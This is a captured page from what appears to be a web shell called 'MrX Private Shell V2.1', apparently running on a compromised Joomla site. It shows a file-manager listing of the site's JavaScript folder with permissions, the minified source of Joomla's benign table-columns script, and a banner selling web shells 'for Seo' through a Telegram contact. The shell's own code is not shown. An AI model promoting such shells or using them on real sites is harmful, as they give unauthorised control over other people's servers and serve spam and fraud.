__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
class TableColumns{constructor(t,s){this.$table=t,this.tableName=s,this.storageKey=`joomla-tablecolumns-${this.tableName}`,this.$headers=[].slice.call(t.querySelector("thead tr").children),this.$rows=t.querySelectorAll("tbody tr"),this.listOfHidden=[],this.loadState(),this.protectedCols=[0],this.$rows[0]&&[].slice.call(this.$rows[0].children).forEach((e,i)=>{if(e.nodeName==="TH"){this.protectedCols.push(i);const l=this.listOfHidden.indexOf(i);l!==-1&&this.listOfHidden.splice(l,1)}}),this.createControls(),this.listOfHidden.forEach(e=>{this.toggleColumn(e,!0)})}createControls(){const t=document.createElement("div");t.setAttribute("class","dropdown float-end pb-2");const s=document.createElement("div");s.setAttribute("class","dropdown-menu dropdown-menu-end"),s.setAttribute("data-bs-popper","static");const e=document.createElement("button");e.type="button",e.textContent=Joomla.Text._("JGLOBAL_COLUMNS"),e.classList.add("btn","btn-primary","btn-sm","dropdown-toggle"),e.setAttribute("data-bs-toggle","dropdown"),e.setAttribute("data-bs-auto-close","false"),e.setAttribute("aria-haspopup","true"),e.setAttribute("aria-expanded","false");const i=document.createElement("ul");i.setAttribute("class","list-unstyled p-2 text-nowrap mb-0"),i.setAttribute("id","columnList"),this.$headers.forEach((l,o)=>{if(o===0&&l.nodeName!=="TH")return;const h=document.createElement("li"),c=document.createElement("label"),n=document.createElement("input");n.classList.add("form-check-input","me-1"),n.type="checkbox",n.name="table[column][]",n.checked=this.listOfHidden.indexOf(o)===-1,n.disabled=this.protectedCols.indexOf(o)!==-1,n.value=o;let r=l.querySelector("span"),a=r?r.textContent.trim():"";a||(r=l.querySelector("span.visually-hidden")||l,a=r.textContent.trim()),a.includes(":")&&(a=a.split(":",2)[1].trim()),c.textContent=a,c.insertAdjacentElement("afterbegin",n),h.appendChild(c),i.appendChild(h)}),this.$table.insertAdjacentElement("beforebegin",t),t.appendChild(e),t.appendChild(s),s.appendChild(i),i.addEventListener("change",l=>{this.toggleColumn(parseInt(l.target.value,10)),this.saveState()}),this.$headers.forEach(l=>{l.classList.remove("d-none","d-xs-table-cell","d-sm-table-cell","d-md-table-cell","d-lg-table-cell","d-xl-table-cell","d-xxl-table-cell")}),this.$rows.forEach(l=>{[].slice.call(l.children).forEach(o=>{o.classList.remove("d-none","d-xs-table-cell","d-sm-table-cell","d-md-table-cell","d-lg-table-cell","d-xl-table-cell","d-xxl-table-cell")})}),this.$button=e,this.$menu=i,this.updateCounter()}updateCounter(){const t=this.$headers.length-1,s=t-this.listOfHidden.length;this.$button.textContent=`${s}/${t} ${Joomla.Text._("JGLOBAL_COLUMNS")}`}toggleColumn(t,s){if(!this.$headers[t]||this.protectedCols.indexOf(t)!==-1)return;const e=this.listOfHidden.indexOf(t);e===-1?this.listOfHidden.push(t):s!==!0&&this.listOfHidden.splice(e,1),this.$headers[t].classList.toggle("d-none",s),this.$rows.forEach(i=>{i.children[t].classList.toggle("d-none",s)}),this.updateCounter()}saveState(){window.localStorage.setItem(this.storageKey,this.listOfHidden.join(","))}loadState(){const t=window.localStorage.getItem(this.storageKey);t&&(this.listOfHidden=t.split(",").map(s=>parseInt(s,10)))}}window.innerWidth>992&&[...document.querySelectorAll("table:not(.columns-order-ignore)")].forEach(d=>{const t=d.dataset.name?d.dataset.name:document.querySelector(".page-title").textContent.trim().replace(/[^a-z0-9]/gi,"-").toLowerCase();t&&new TableColumns(d,t)});
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| editors | Folder | 0775 |
|
|
| fields | Folder | 0775 |
|
|
| core.js | File | 25.69 KB | 0664 |
|
| core.min.js | File | 7.6 KB | 0664 |
|
| core.min.js.gz | File | 3.16 KB | 0664 |
|
| draggable.js | File | 5.63 KB | 0664 |
|
| draggable.min.js | File | 2.54 KB | 0664 |
|
| draggable.min.js.gz | File | 1.05 KB | 0664 |
|
| highlight.js | File | 61.61 KB | 0664 |
|
| highlight.min.js | File | 15.58 KB | 0664 |
|
| highlight.min.js.gz | File | 5.44 KB | 0664 |
|
| inlinehelp.js | File | 2.18 KB | 0664 |
|
| inlinehelp.min.js | File | 805 B | 0664 |
|
| inlinehelp.min.js.gz | File | 486 B | 0664 |
|
| joomla-core-loader.js | File | 4.91 KB | 0664 |
|
| joomla-core-loader.min.js | File | 4.02 KB | 0664 |
|
| joomla-core-loader.min.js.gz | File | 1.66 KB | 0664 |
|
| joomla-dialog-autocreate.js | File | 2.9 KB | 0664 |
|
| joomla-dialog-autocreate.min.js | File | 1.22 KB | 0664 |
|
| joomla-dialog-autocreate.min.js.gz | File | 664 B | 0664 |
|
| joomla-dialog.js | File | 18.34 KB | 0664 |
|
| joomla-dialog.min.js | File | 8.53 KB | 0664 |
|
| joomla-dialog.min.js.gz | File | 2.49 KB | 0664 |
|
| joomla-hidden-mail.js | File | 2.26 KB | 0664 |
|
| joomla-hidden-mail.min.js | File | 1.53 KB | 0664 |
|
| joomla-hidden-mail.min.js.gz | File | 721 B | 0664 |
|
| joomla-toolbar-button.js | File | 3.5 KB | 0664 |
|
| joomla-toolbar-button.min.js | File | 2.08 KB | 0664 |
|
| joomla-toolbar-button.min.js.gz | File | 868 B | 0664 |
|
| keepalive.js | File | 1 KB | 0664 |
|
| keepalive.min.js | File | 741 B | 0664 |
|
| keepalive.min.js.gz | File | 430 B | 0664 |
|
| list-view.js | File | 2.75 KB | 0664 |
|
| list-view.min.js | File | 1.59 KB | 0664 |
|
| list-view.min.js.gz | File | 555 B | 0664 |
|
| messages.js | File | 10.19 KB | 0664 |
|
| messages.min.js | File | 5.41 KB | 0664 |
|
| messages.min.js.gz | File | 1.77 KB | 0664 |
|
| modal-content-select.js | File | 1.14 KB | 0664 |
|
| modal-content-select.min.js | File | 781 B | 0664 |
|
| modal-content-select.min.js.gz | File | 497 B | 0664 |
|
| multiselect.js | File | 3.68 KB | 0664 |
|
| multiselect.min.js | File | 1.86 KB | 0664 |
|
| multiselect.min.js.gz | File | 917 B | 0664 |
|
| searchtools.js | File | 18.1 KB | 0664 |
|
| searchtools.min.js | File | 10.4 KB | 0664 |
|
| searchtools.min.js.gz | File | 2.56 KB | 0664 |
|
| showon.js | File | 9.91 KB | 0664 |
|
| showon.min.js | File | 3.55 KB | 0664 |
|
| showon.min.js.gz | File | 1.39 KB | 0664 |
|
| table-columns.js | File | 5.96 KB | 0664 |
|
| table-columns.min.js | File | 3.39 KB | 0664 |
|
| table-columns.min.js.gz | File | 1.28 KB | 0664 |
|
| treeselectmenu.js | File | 5.74 KB | 0664 |
|
| treeselectmenu.min.js | File | 4.07 KB | 0664 |
|
| treeselectmenu.min.js.gz | File | 976 B | 0664 |
|